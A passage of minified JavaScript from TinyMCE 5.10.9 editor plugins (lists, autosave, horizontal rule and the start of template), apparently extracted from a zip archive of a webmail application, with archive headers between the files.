selectors")},ge=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils"),ve=tinymce.util.Tools.resolve("tinymce.dom.TreeWalker"),he=tinymce.util.Tools.resolve("tinymce.util.VK"),ye=Object.keys;function Se(e){return e.dom.nodeName.toLowerCase()}function Ce(t){return function(e){return Bt(e)&&Se(e)===t}}function be(e,t){var n=e.dom;j(t,function(e,t){!function(e,t,n){if(!(a(n)||c(n)||d(n)))throw console.error("Invalid call to Attribute.set. Key ",t,":: Value ",n,":: Element ",e),new Error("Attribute value was not simple");e.setAttribute(t,n+"")}(n,t,e)})}function Ne(e){return v(e.dom.attributes,function(e,t){return e[t.name]=t.value,e},{})}function Oe(e){return E.from(e.dom.parentNode).map(me.fromDom)}function Le(e){return C(e.dom.childNodes,me.fromDom)}function Te(e,t){var n=e.dom.childNodes;return E.from(n[t]).map(me.fromDom)}function De(e){return Te(e,0)}function xe(e){return Te(e,e.dom.childNodes.length-1)}function Ae(t,n){Oe(t).each(function(e){e.dom.insertBefore(n.dom,t.dom)})}function we(e,t){e.dom.appendChild(t.dom)}function ke(t,e){b(e,function(e){we(t,e)})}function Ee(e){var t=e.dom;null!==t.parentNode&&t.parentNode.removeChild(t)}function Ie(e){return me.fromDom(e.dom.cloneNode(!0))}function Pe(e,t){var n,r,o=(n=e,be(r=me.fromTag(t),Ne(n)),r);return Ae(e,o),ke(o,Le(e)),Ee(e),o}function Be(t){return function(e){return e&&e.nodeName.toLowerCase()===t}}function Re(t){return function(e){return e&&t.test(e.nodeName)}}function Me(e){return e&&3===e.nodeType}function Ue(e,t){return t&&e.schema.getTextBlockElements()[t.nodeName]}function _e(e,t){return e&&e.nodeName in t}function $e(e,t,n){var r=e.isEmpty(t);return!(n&&0<e.select("span[data-mce-type=bookmark]",t).length)&&r}function Fe(e,t){return e.isChildOf(t,e.getRoot())}function He(e,t){var n,r,o,i,a=e.dom,s=e.schema.getBlockElements(),u=a.createFragment(),c=!1===(n=e.getParam("forced_root_block","p"))?"":!0===n?"p":n;if(c&&((o=a.create(c)).tagName===c.toUpperCase()&&a.setAttribs(o,e.getParam("forced_root_block_attrs",{})),_e(t.firstChild,s)||u.appendChild(o)),t)for(;r=t.firstChild;){var f=r.nodeName;i||"SPAN"===f&&"bookmark"===r.getAttribute("data-mce-type")||(i=!0),_e(r,s)?(u.appendChild(r),o=null):c?(o||(o=a.create(c),u.appendChild(o)),o.appendChild(r)):u.appendChild(r)}return c?i||o.appendChild(a.create("br",{"data-mce-bogus":"1"})):u.appendChild(a.create("br")),u}function je(e){Qt(e)&&Pe(e,"dd")}function Ke(r,e,t){b(t,"Indent"===e?je:function(e){return t=r,Wt(n=e)?Pe(n,"dt"):Qt(n)&&Oe(n).each(function(e){return function(e,t,n){var r=Vt.select('span[data-mce-type="bookmark"]',t),o=He(e,n),i=Vt.createRng();i.setStartAfter(n),i.setEndAfter(t);for(var a,s=i.extractContents(),u=s.firstChild;u;u=u.firstChild)if("LI"===u.nodeName&&e.dom.isEmpty(u)){Vt.remove(u);break}e.dom.isEmpty(s)||Vt.insertAfter(s,t),Vt.insertAfter(o,t),$e(e.dom,n.parentNode)&&(a=n.parentNode,Mt.each(r,function(e){a.parentNode.insertBefore(e,n.parentNode)}),Vt.remove(a)),Vt.remove(n),$e(e.dom,t)&&Vt.remove(t)}(t,e.dom,n.dom)}),0;var t,n})}function Ve(e,t){if(Me(e))return{container:e,offset:t};var n=ge.getNode(e,t);return Me(n)?{container:n,offset:t>=e.childNodes.length?n.data.length:0}:n.previousSibling&&Me(n.previousSibling)?{container:n.previousSibling,offset:n.previousSibling.data.length}:n.nextSibling&&Me(n.nextSibling)?{container:n.nextSibling,offset:0}:{container:e,offset:t}}function We(e){var t=e.cloneRange(),n=Ve(e.startContainer,e.startOffset);t.setStart(n.container,n.offset);var r=Ve(e.endContainer,e.endOffset);return t.setEnd(r.container,r.offset),t}function Qe(e,t){var n=t||e.selection.getStart(!0);return e.dom.getParent(n,"OL,UL,DL",qt(e,n))}function Xe(e){var t,n,r=e.selection.getSelectedBlocks();return L((t=e,n=Mt.map(r,function(e){return t.dom.getParent(e,"li,dd,dt",qt(t,e))||e}),Xt.unique(n)),Ft)}function qe(e,t){return w(e.dom.getParents(t,"ol,ul",qt(e,t)))}function ze(e,t,n){return void 0===n&&(n=r),e.exists(function(e){return n(e,t)})}function Ye(e,t,n){return e.isSome()&&t.isSome()?E.some(n(e.getOrDie(),t.getOrDie())):E.none()}function Ze(e,t,n){return e.fire("ListMutation",{action:t,element:n})}function Ge(e,t){we(e.item,t.list)}function Je(e,t){for(var n=0;n<e.length-1;n++)(function(e,t,n){if(!a(n))throw console.error("Invalid call to CSS.set. Property ",t,":: Value ",n,":: Element ",e),new Error("CSS value must be a string: "+n);void 0!==e.style&&f(e.style.getPropertyValue)&&e.style.setProperty(t,n)})(e[n].item.dom,"list-style-type","none");w(e).each(function(e){be(e.list,t.listAttributes),be(e.item,t.itemAttributes),ke(e.item,t.content)})}function et(u,e,c){var t=e.slice(0,c.depth);return w(t).each(function(e){var t,n,r,o,i,a,s=(t=c.itemAttributes,n=c.content,be(r=me.fromTag("li",u),t),ke(r,n),r);we((o=e).list,s),o.item=s,a=c,Se((i=e).list)!==a.listType&&(i.list=Pe(i.list,a.listType)),be(i.list,a.listAttributes)}),t}function tt(e,t,n){var r,o=function(e,t,n){for(var r,o,i,a=[],s=0;s<n;s++)a.push((o=t.listType,we((i={list:me.fromTag(o,r=e),item:me.fromTag("li",r)}).list,i.item),i));return a}(e,n,n.depth-t.length);return function(e){for(var t=1;t<e.length;t++)Ge(e[t-1],e[t])}(o),Je(o,n),r=o,Ye(w(t),A(r),Ge),t.concat(o)}function nt(e){return pe(e,"OL,UL")}function rt(e){return De(e).exists(nt)}function ot(e){return 0<e.depth}function it(e){return e.isSelected}function at(s){return b(s,function(a,e){function t(e){return e.depth===i&&!e.dirty}function n(e){return e.depth<i}var r,o,i;i=(r=s)[o=e].depth,h(D(r.slice(0,o)),t,n).orThunk(function(){return h(r.slice(o+1),t,n)}).fold(function(){var e,t,n,r,o,i;a.dirty&&(a.listAttributes=(e=a.listAttributes,n=function(e,t){return"start"!==t},r=t={},o=function(e,t){r[t]=e},i=u,j(e,function(e,t){(n(e,t)?o:i)(e,t)}),t))},function(e){var t=e;a.listType=t.listType,a.listAttributes=B({},t.listAttributes)})}),s}function st(n,a,s,u){return De(u).filter(nt).fold(function(){a.each(function(e){F(e.start,u)&&s.set(!0)});var r,o,i,e=(r=u,o=n,i=s.get(),Oe(r).filter(Bt).map(function(e){return{depth:o,dirty:!1,isSelected:i,content:(n=Le(t=r),C(xe(t).exists(nt)?n.slice(0,-1):n,Ie)),itemAttributes:Ne(r),listAttributes:Ne(e),listType:Se(e)};var t,n}));a.each(function(e){F(e.end,u)&&s.set(!1)});var t=xe(u).filter(nt).map(function(e){return Yt(n,a,s,e)}).getOr([]);return e.toArray().concat(t)},function(e){return Yt(n,a,s,e)})}function ut(o,e){return C(at(e),function(e){var t,n,r=(t=e.content,n=document.createDocumentFragment(),b(t,function(e){n.appendChild(e.dom)}),me.fromDom(n));return me.fromDom(He(o,r.dom))})}function ct(e,t){var n=at(t),r=e.contentDocument;return A(v(n,function(e,t){return(t.depth>e.length?tt:et)(r,e,t)},[])).map(function(e){return e.list}).toArray()}function ft(e,t){b(L(e,it),function(e){return function(e){switch(t){case"Indent":e.depth++;break;case"Outdent":e.depth--;break;case"Flatten":e.depth=0}e.dirty=!0}(e),0})}function dt(e,t){var n,r,o,i,a,s,u,c,f,d,l,m,p,g=C((i=qe(o=r=e,o.selection.getStart()),a=L(o.selection.getSelectedBlocks(),_t),s=i.toArray().concat(a),zt(r,s)),me.fromDom),v=C(L(Xe(e),Ht),me.fromDom),h=!1;return(g.length||v.length)&&(n=e.selection.getBookmark(),c=t,b((f=g,p=C(Xe(u=e),me.fromDom),d=Ye(N(p,y(rt)),N(D(p),y(rt)),function(e,t){return{start:e,end:t}}),l=!1,m={get:function(){return l},set:function(e){l=e}},C(f,function(e){return{sourceList:e,entries:Yt(0,d,m,e)}})),function(e){ft(e.entries,c);var t,n,r=(t=u,T(function(e,t){if(0===e.length)return[];for(var n=t(e[0]),r=[],o=[],i=0,a=e.length;i<a;i++){var s=e[i],u=t(s);u!==n&&(r.push(o),o=[]),n=u,o.push(s)}return 0!==o.length&&r.push(o),r}(e.entries,ot),function(e){return(A(e).exists(ot)?ct:ut)(t,e)}));b(r,function(e){Ze(u,"Indent"===c?"IndentList":"OutdentList",e.dom)}),n=e.sourceList,b(r,function(e){Ae(n,e)}),Ee(e.sourceList)}),Ke(e,t,v),e.selection.moveToBookmark(n),e.selection.setRng(We(e.selection.getRng())),e.nodeChanged(),h=!0),h}function lt(e){return dt(e,"Indent")}function mt(e){return dt(e,"Outdent")}function pt(e){return dt(e,"Flatten")}function gt(o){function e(e){var t,n=o[e?"startContainer":"endContainer"],r=o[e?"startOffset":"endOffset"];1===n.nodeType&&(t=Gt.create("span",{"data-mce-type":"bookmark"}),n.hasChildNodes()?(r=Math.min(r,n.childNodes.length-1),e?n.insertBefore(t,n.childNodes[r]):Gt.insertAfter(t,n.childNodes[r])):n.appendChild(t),n=t,r=0),i[e?"startContainer":"endContainer"]=n,i[e?"startOffset":"endOffset"]=r}var i={};return e(!0),o.collapsed||e(),i}function vt(o){function e(e){var t,n=t=o[e?"startContainer":"endContainer"],r=o[e?"startOffset":"endOffset"];n&&(1===n.nodeType&&(r=function(e){for(var t=e.parentNode.firstChild,n=0;t;){if(t===e)return n;1===t.nodeType&&"bookmark"===t.getAttribute("data-mce-type")||n++,t=t.nextSibling}return-1}(n),n=n.parentNode,Gt.remove(t),!n.hasChildNodes()&&Gt.isBlock(n)&&n.appendChild(Gt.create("br"))),o[e?"startContainer":"endContainer"]=n,o[e?"startOffset":"endOffset"]=r)}e(!0),e();var t=Gt.createRng();return t.setStart(o.startContainer,o.startOffset),o.endContainer&&t.setEnd(o.endContainer,o.endOffset),We(t)}function ht(e){switch(e){case"UL":return"ToggleUlList";case"OL":return"ToggleOlList";case"DL":return"ToggleDLList"}}function yt(e){return/\btox\-/.test(e.className)}function St(e,n,r){function t(e){var t=h(e.parents,Ut,jt).filter(function(e){return e.nodeName===n&&!yt(e)}).isSome();r(t)}return t({parents:e.dom.getParents(e.selection.getNode())}),e.on("NodeChange",t),function(){return e.off("NodeChange",t)}}function Ct(n,e){Mt.each(e,function(e,t){n.setAttribute(t,e)})}function bt(e,t,n){var r,o,i,a=n["list-style-type"]||null;e.setStyle(t,"list-style-type",a),r=e,Ct(o=t,(i=n)["list-attributes"]),Mt.each(r.select("li",o),function(e){Ct(e,i["list-item-attributes"])})}function Nt(e,t,n,r){var o=t[n?"startContainer":"endContainer"],i=t[n?"startOffset":"endOffset"];for(1===o.nodeType&&(o=o.childNodes[Math.min(i,o.childNodes.length-1)]||o),!n&&Kt(o.nextSibling)&&(o=o.nextSibling);o.parentNode!==r;){if(Ue(e,o))return o;if(/^(TD|TH)$/.test(o.parentNode.nodeName))return o;o=o.parentNode}return o}function Ot(u,c,f){var e,t,n=u.selection.getRng(),d="LI",r=qt(u,u.selection.getStart(!0)),l=u.dom;"false"!==l.getContentEditable(u.selection.getNode())&&("DL"===(c=c.toUpperCase())&&(d="DT"),e=gt(n),t=function(n,e,r){for(var o,i=[],a=n.dom,t=Nt(n,e,!0,r),s=Nt(n,e,!1,r),u=[],c=t;c&&(u.push(c),c!==s);c=c.nextSibling);return Mt.each(u,function(e){if(Ue(n,e))return i.push(e),void(o=null);if(a.isBlock(e)||Kt(e))return Kt(e)&&a.remove(e),void(o=null);var t=e.nextSibling;Zt.isBookmarkNode(e)&&(Ut(t)||Ue(n,t)||!t&&e.parentNode===r)?o=null:(o||(o=a.create("p"),e.parentNode.insertBefore(o,e),i.push(o)),o.appendChild(e))}),i}(u,n,r),Mt.each(t,function(e){var t,n,r,o,i,a=e.previousSibling,s=e.parentNode;Ft(s)||(a&&Ut(a)&&a.nodeName===c&&(o=f,l.getStyle(a,"list-style-type")===(i=null===(i=o?o["list-style-type"]:"")?"":i))?(t=a,e=l.rename(e,d),a.appendChild(e)):(t=l.create(c),e.parentNode.insertBefore(t,e),t.appendChild(e),e=l.rename(e,d)),n=l,r=e,Mt.each(["margin","margin-right","margin-bottom","margin-left","margin-top","padding","padding-right","padding-bottom","padding-left","padding-top"],function(e){var t;return n.setStyle(r,((t={})[e]="",t))}),bt(l,t,f),Jt(u.dom,t))}),u.selection.setRng(vt(e)))}function Lt(e,t,n){return a=n,(i=t)&&a&&Ut(i)&&i.nodeName===a.nodeName&&(o=n,(r=e).getStyle(t,"list-style-type",!0)===r.getStyle(o,"list-style-type",!0))&&t.className===n.className;var r,o,i,a}function Tt(e,t,n){var r,o,i,a,s,u,c,f,d,l,m,p,g,v,h,y,S,C=Qe(e),b=(f=Qe(c=e),d=c.selection.getSelectedBlocks(),f&&1===d.length&&d[0]===f?L(f.querySelectorAll("ol,ul,dl"),Ut):L(d,function(e){return Ut(e)&&f!==e})),N=O(n)?n:{};0<b.length?(l=e,p=b,g=t,v=N,(S=Ut(m=C))&&m.nodeName===g&&!en(v)?pt(l):(Ot(l,g,v),h=gt(l.selection.getRng()),y=S?function(e,t){for(var n,r=0,o=t.length;r<o;r++)!n&&r in t||((n=n||Array.prototype.slice.call(t,0,r))[r]=t[r]);return e.concat(n||Array.prototype.slice.call(t))}([m],p,!0):p,Mt.each(y,function(e){var t,n,r=l,o=g,i=v;(t=e).nodeName!==o?(n=r.dom.rename(t,o),bt(r.dom,n,i),Ze(r,ht(o),n)):(bt(r.dom,t,i),Ze(r,ht(o),t))}),l.selection.setRng(vt(h)))):(i=t,a=N,(o=C)!==(r=e).getBody()&&(o?o.nodeName!==i||en(a)||yt(o)?(s=gt(r.selection.getRng()),bt(r.dom,o,a),u=r.dom.rename(o,i),Jt(r.dom,u),r.selection.setRng(vt(s)),Ot(r,i,a),Ze(r,ht(i),u)):pt(r):(Ot(r,i,a),Ze(r,ht(i),o))))}function Dt(e,t,n,r){var o=t.startContainer,i=t.startOffset;if(Me(o)&&(n?i<o.data.length:0<i))return o;var a=e.schema.getNonEmptyElements();1===o.nodeType&&(o=ge.getNode(o,i));var s,u,c=new ve(o,r);for(n&&(s=e.dom,Kt(u=o)&&s.isBlock(u.nextSibling)&&!Kt(u.previousSibling)&&c.next());o=c[n?"next":"prev2"]();){if("LI"===o.nodeName&&!o.hasChildNodes())return o;if(a[o.nodeName])return o;if(Me(o)&&0<o.data.length)return o}}function xt(e,t){var n=t.childNodes;return 1===n.length&&!Ut(n[0])&&e.isBlock(n[0])}function At(t,e,n){var r,o,i,a=e.parentNode;Fe(t,e)&&Fe(t,n)&&(Ut(n.lastChild)&&(r=n.lastChild),a===n.lastChild&&Kt(a.previousSibling)&&t.remove(a.previousSibling),(o=n.lastChild)&&Kt(o)&&e.hasChildNodes()&&t.remove(o),$e(t,n,!0)&&t.$(n).empty(),function(e,t,n){var r,o,i,a=xt(e,n)?n.firstChild:n;if(xt(o=e,i=t)&&o.remove(i.firstChild,!0),!$e(e,t,!0))for(;r=t.firstChild;)a.appendChild(r)}(t,e,n),r&&n.appendChild(r),i=H(me.fromDom(n),me.fromDom(e))?t.getParents(e,Ut,n):[],t.remove(e),b(i,function(e){$e(t,e)&&e!==t.getRoot()&&t.remove(e)}))}function wt(c,f){var e=c.dom,t=c.selection,n=t.getStart(),r=qt(c,n),d=e.getParent(t.getStart(),"LI",r);if(d){var o=d.parentNode;if(o===c.getBody()&&$e(e,o))return 1;var l=We(t.getRng()),m=e.getParent(Dt(c,l,f,r),"LI",r);if(m&&m!==d)return c.undoManager.transact(function(){var e,t,n,r,o,i,a,s,u;f?(t=l,n=m,r=d,(u=(e=c).dom).isEmpty(r)?(a=n,(i=e).dom.$(s=r).empty(),At(i.dom,a,s),i.selection.setCursorLocation(s,0)):(o=gt(t),At(u,n,r),e.selection.setRng(vt(o)))):d.parentNode.firstChild===d?mt(c):function(e,t,n){var r=gt(l);At(e.dom,t,n);var o=vt(r);e.selection.setRng(o)}(c,d,m)}),1;if(!m&&!f&&0===l.startOffset&&0===l.endOffset)return c.undoManager.transact(function(){pt(c)}),1}}function kt(e,t){return e.selection.isCollapsed()?wt(i=e,a=t)||function(r,o){var i=r.dom,e=r.selection.getStart(),a=qt(r,e),s=i.getParent(e,i.isBlock,a);if(s&&i.isEmpty(s)){var t=We(r.selection.getRng()),u=i.getParent(Dt(r,t,o,a),"LI",a);if(u)return r.undoManager.transact(function(){var e,t=s,n=(e=i).getParent(t.parentNode,e.isBlock,a);e.remove(t),n&&e.isEmpty(n)&&e.remove(n),Jt(i,u.parentNode),r.selection.select(u,!0),r.selection.collapse(o)}),1}}(i,a):(r=(n=e).selection.getStart(),o=qt(n,r),(n.dom.getParent(r,"LI,DT,DD",o)||0<Xe(n).length)&&(n.undoManager.transact(function(){var i,e,t;n.execCommand("Delete"),i=n.dom,e=n.getBody(),t=Mt.grep(i.select("ol,ul",e)),Mt.each(t,function(e){var t,n,r,o=i;"LI"===(r=(t=e).parentNode).nodeName&&r.firstChild===t&&((n=r.previousSibling)&&"LI"===n.nodeName?(n.appendChild(t),$e(o,r)&&tn.remove(r)):tn.setStyle(r,"listStyleType","none")),Ut(r)&&(n=r.previousSibling)&&"LI"===n.nodeName&&n.appendChild(t)})}),1));var n,r,o,i,a}function Et(e){return v(C(D(J(e).split("")),function(e,t){var n=e.toUpperCase().charCodeAt(0)-"A".charCodeAt(0)+1;return Math.pow(26,t)*n}),function(e,t){return e+t},0)}function It(t,n){return function(){var e=Qe(t);return e&&e.nodeName===n}}function Pt(o){o.addCommand("mceListProps",function(){var t,e,n,r;r=Qe(t=o),$t(r)&&t.windowManager.open({title:"List Properties",body:{type:"panel",items:[{type:"input",name:"start",label:"Start list at number",inputMode:"numeric"}]},initialData:{start:(e={start:t.dom.getAttrib(r,"start","1"),listStyleType:E.some(t.dom.getStyle(r,"list-style-type"))},n=parseInt(e.start,10),ze(e.listStyleType,"upper-alpha")?nn(n):ze(e.listStyleType,"lower-alpha")?nn(n).toLowerCase():e.start)},buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],onSubmit:function(e){!function(e){switch(/^[0-9]+$/.test(t=e)?2:/^[A-Z]+$/.test(t)?0:/^[a-z]+$/.test(t)?1:0<t.length?4:3){case 2:return E.some({listStyleType:E.none(),start:e});case 0:return E.some({listStyleType:E.some("upper-alpha"),start:Et(e).toString()});case 1:return E.some({listStyleType:E.some("lower-alpha"),start:Et(e).toString()});case 3:return E.some({listStyleType:E.none(),start:""});case 4:return E.none()}var t}(e.getData().start).each(function(e){t.execCommand("mceListUpdate",!1,{attrs:{start:"1"===e.start?"":e.start},styles:{"list-style-type":e.listStyleType.getOr("")}})}),e.close()}})})}"undefined"!=typeof window||Function("return this;")();function Bt(e){return 1===e.dom.nodeType}var Rt=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),Mt=tinymce.util.Tools.resolve("tinymce.util.Tools"),Ut=Re(/^(OL|UL|DL)$/),_t=Re(/^(OL|UL)$/),$t=Be("ol"),Ft=Re(/^(LI|DT|DD)$/),Ht=Re(/^(DT|DD)$/),jt=Re(/^(TH|TD)$/),Kt=Be("br"),Vt=Rt.DOM,Wt=Ce("dd"),Qt=Ce("dt"),Xt=tinymce.util.Tools.resolve("tinymce.dom.DomQuery"),qt=function(e,t){var n=e.dom.getParents(t,"TD,TH");return 0<n.length?n[0]:e.getBody()},zt=function(t,e){var n=C(e,function(e){return qe(t,e).getOr(e)});return Xt.unique(n)},Yt=function(t,n,r,e){return T(Le(e),function(e){return(nt(e)?Yt:st)(t+1,n,r,e)})},Zt=tinymce.util.Tools.resolve("tinymce.dom.BookmarkManager"),Gt=Rt.DOM,Jt=function(e,t){var n,r=t.nextSibling;if(Lt(e,t,r)){for(;n=r.firstChild;)t.appendChild(n);e.remove(r)}if(Lt(e,t,r=t.previousSibling)){for(;n=r.lastChild;)t.insertBefore(n,t.firstChild);e.remove(r)}},en=function(e){return"list-style-type"in e},tn=Rt.DOM,nn=function(e){if(--e<0)return"";var t=e%26,n=Math.floor(e/26);return nn(n)+String.fromCharCode("A".charCodeAt(0)+t)};i.add("lists",function(e){var n,t,r,o,i,a,s,u;return!1===e.hasPlugin("rtc",!0)?((a=e).getParam("lists_indent_on_tab",!0)&&(s=a).on("keydown",function(e){e.keyCode!==he.TAB||he.metaKeyPressed(e)||s.undoManager.transact(function(){(e.shiftKey?mt:lt)(s)&&e.preventDefault()})}),(u=a).on("keydown",function(e){e.keyCode===he.BACKSPACE?kt(u,!1)&&e.preventDefault():e.keyCode===he.DELETE&&kt(u,!0)&&e.preventDefault()}),(i=e).on("BeforeExecCommand",function(e){var t=e.command.toLowerCase();"indent"===t?lt(i):"outdent"===t&&mt(i)}),i.addCommand("InsertUnorderedList",function(e,t){Tt(i,"UL",t)}),i.addCommand("InsertOrderedList",function(e,t){Tt(i,"OL",t)}),i.addCommand("InsertDefinitionList",function(e,t){Tt(i,"DL",t)}),i.addCommand("RemoveList",function(){pt(i)}),Pt(i),i.addCommand("mceListUpdate",function(e,t){var n,r,o;O(t)&&(r=t,o=Qe(n=i),n.undoManager.transact(function(){O(r.styles)&&n.dom.setStyles(o,r.styles),O(r.attrs)&&j(r.attrs,function(e,t){return n.dom.setAttrib(o,t,e)})}))}),i.addQueryStateHandler("InsertUnorderedList",It(i,"UL")),i.addQueryStateHandler("InsertOrderedList",It(i,"OL")),i.addQueryStateHandler("InsertDefinitionList",It(i,"DL"))):Pt(e),(o=e).hasPlugin("advlist")||(o.ui.registry.addToggleButton("numlist",{icon:"ordered-list",active:!1,tooltip:"Numbered list",onAction:c("InsertOrderedList"),onSetup:function(e){return St(o,"OL",e.setActive)}}),o.ui.registry.addToggleButton("bullist",{icon:"unordered-list",active:!1,tooltip:"Bullet list",onAction:c("InsertUnorderedList"),onSetup:function(e){return St(o,"UL",e.setActive)}})),t={text:"List properties...",icon:"ordered-list",onAction:function(){return n.execCommand("mceListProps")},onSetup:function(t){return St(n,"OL",function(e){return t.setDisabled(!e)})}},(n=e).ui.registry.addMenuItem("listprops",t),n.ui.registry.addContextMenu("lists",{update:function(e){var t=Qe(n,e);return $t(t)?["listprops"]:[]}}),r=e,{backspaceDelete:function(e){kt(r,e)}};function c(e){return function(){return o.execCommand(e)}}})}();PK
h�\�����1program/js/tinymce/plugins/autosave/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function o(t,e){var r=t||e,n=/^(\d+)([ms]?)$/.exec(""+r);return(n[2]?{s:1e3,m:6e4}[n[2]]:1)*parseInt(r,10)}function n(t){var e=document.location;return t.getParam("autosave_prefix","tinymce-autosave-{path}{query}{hash}-{id}-").replace(/{path}/g,e.pathname).replace(/{query}/g,e.search).replace(/{hash}/g,e.hash).replace(/{id}/g,t.id)}function i(t,e){if(a(e))return t.dom.isEmpty(t.getBody());var r=d.trim(e);if(""===r)return!0;var n=(new DOMParser).parseFromString(r,"text/html");return t.dom.isEmpty(n)}function u(t){var e=parseInt(v.getItem(n(t)+"time"),10)||0;return!((new Date).getTime()-e>o(t.getParam("autosave_retention"),"20m")&&(g(t,!1),1))}function s(t){var e=n(t);!i(t)&&t.isDirty()&&(v.setItem(e+"draft",t.getContent({format:"raw",no_events:!0})),v.setItem(e+"time",(new Date).getTime().toString()),t.fire("StoreDraft"))}function f(t){var e=n(t);u(t)&&(t.setContent(v.getItem(e+"draft"),{format:"raw"}),t.fire("RestoreDraft"))}function c(t){t.undoManager.transact(function(){f(t),g(t)}),t.focus()}function m(r){return function(t){function e(){return t.setDisabled(!u(r))}return t.setDisabled(!u(r)),r.on("StoreDraft RestoreDraft RemoveDraft",e),function(){return r.off("StoreDraft RestoreDraft RemoveDraft",e)}}}var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),a=function(t){return void 0===t},l=tinymce.util.Tools.resolve("tinymce.util.Delay"),v=tinymce.util.Tools.resolve("tinymce.util.LocalStorage"),d=tinymce.util.Tools.resolve("tinymce.util.Tools"),g=function(t,e){var r=n(t);v.removeItem(r+"draft"),v.removeItem(r+"time"),!1!==e&&t.fire("RemoveDraft")},y=tinymce.util.Tools.resolve("tinymce.EditorManager");t.add("autosave",function(t){var e,r,n,a;return t.editorManager.on("BeforeUnload",function(t){var e;d.each(y.get(),function(t){t.plugins.autosave&&t.plugins.autosave.storeDraft(),!e&&t.isDirty()&&t.getParam("autosave_ask_before_unload",!0)&&(e=t.translate("You have unsaved changes are you sure you want to navigate away?"))}),e&&(t.preventDefault(),t.returnValue=e)}),n=e=t,a=o(n.getParam("autosave_interval"),"30s"),l.setEditorInterval(n,function(){s(n)},a),e.ui.registry.addButton("restoredraft",{tooltip:"Restore last draft",icon:"restore-draft",onAction:function(){c(e)},onSetup:m(e)}),e.ui.registry.addMenuItem("restoredraft",{text:"Restore last draft",icon:"restore-draft",onAction:function(){c(e)},onSetup:m(e)}),t.on("init",function(){t.getParam("autosave_restore_when_empty",!1)&&t.dom.isEmpty(t.getBody())&&f(t)}),r=t,{hasDraft:function(){return u(r)},storeDraft:function(){return s(r)},restoreDraft:function(){return f(r)},removeDraft:function(t){return g(r,t)},isEmpty:function(t){return i(r,t)}}})}();PK
h�\A<�q��+program/js/tinymce/plugins/hr/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";tinymce.util.Tools.resolve("tinymce.PluginManager").add("hr",function(n){var o,t;function e(){return t.execCommand("InsertHorizontalRule")}(o=n).addCommand("InsertHorizontalRule",function(){o.execCommand("mceInsertContent",!1,"<hr />")}),(t=n).ui.registry.addButton("hr",{icon:"horizontal-rule",tooltip:"Horizontal line",onAction:e}),t.ui.registry.addMenuItem("hr",{icon:"horizontal-rule",text:"Horizontal line",onAction:e})})}();PK
h�\���9 9 1program/js/tinymce/plugins/template/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function o(e){return function(){return e}}function e(e){return e}function i(e){return n=typeof(t=e),"string"==(null===t?"null":"object"==n&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"==n&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":n);var t,n}var t,n=tinymce.util.Tools.resolve("tinymce.PluginManager"),u=function(e){return typeof e===t};function s(e){return e.getParam("template_mdate_classes","mdate")}function l(e){return e.getParam("template_replace_values")}function m(e){return e.getParam("template_mdate_format",e.translate("%Y-%m-%d"))}function f(e,t){if((e=""+e).length<t)for(var n=0;n<t-e.length;n++)e="0"+e;return e}function p(e,t,n){void 0===n&&(n=new Date);var r="Sun Mon Tue Wed Thu Fri Sat Sun".split(" "),a="Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sunday".split(" "),o="Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(" "),c="January February March April May June July August September October November December".split(" ");return(t=(t=(t=(t=(t=(t=(t=(t=(t=(t=(t=(t=(t=(t=(t=t.replace("%D","%m/%d/%Y")).replace("%r","%I:%M:%S %p")).replace("%Y",""+n.getFullYear())).replace("%y",""+n.getYear())).replace("%m",f(n.getMonth()+1,2))).replace("%d",f(n.getDate(),2))).replace("%H",""+f(n.getHours(),2))).replace("%M",""+f(n.getMinutes(),2))).replace("%S",""+f(n.getSeconds(),2))).replace("%I",""+((n.getHours()+11)%12+1))).replace("%p",n.getHours()<12?"AM":"PM")).replace("%B",""+e.translate(c[n.getMonth()]))).replace("%b",""+e.translate(o[n.getMonth()]))).replace("%A",""+e.translate(a[n.getDay()]))).replace("%a",""+e.translate(r[n.getDay()]))).replace("%%","%")}function x(n,e){return O.each(e,function(e,t){u(e)&&(e=e(t)),n=n.replace(new RegExp("\\{\\$"+t+"\\}","g"),e)}),n}function d(e,t){var r=e.dom,a=l(e);O.each(r.select("*",t),function(n){O.each(a,function(e,t){r.hasClass(n,t)&&u(e)&&e(n)})})}function g(e,t){return new RegExp("\\b"+t+"\\b","g").test(e.className)}function y(t,e,n){var r=t.dom,a=t.selection.getContent();n=x(n,l(t));var o=r.create("div",null,n),c=r.select(".mceTmpl",o);c&&0<c.length&&(o=r.create("div",null)).appendChild(c[0].cloneNode(!0)),O.each(r.select("*",o),function(e){g(e,t.getParam("template_cdate_classes","cdate").replace(/\s+/g,"|"))&&(e.innerHTML=p(t,t.getParam("template_cdate_format",t.translate("%Y-%m-%d")))),g(e,s(t).replace(/\s+/g,"|"))&&(e.innerHTML=p(t,m(t))),g(e,t.getParam("template_selected_content_classes","selcontent").replace(/\s+/g,"|"))&&(e.innerHTML=a)}),d(t,o),t.execCommand("mceInsertContent",!1,o.innerHTML),t.addVisual()}function r(){return b}var c=o(!(t="function")),v=o(!0),O=tinymce.util.Tools.resolve("tinymce.util.Tools"),h=tinymce.util.Tools.resolve("tinymce.util.XHR"),b={fold:function(e,t){return e()},isSome:c,isNone:v,getOr:e,getOrThunk:a,getOrDie:function(e){throw new 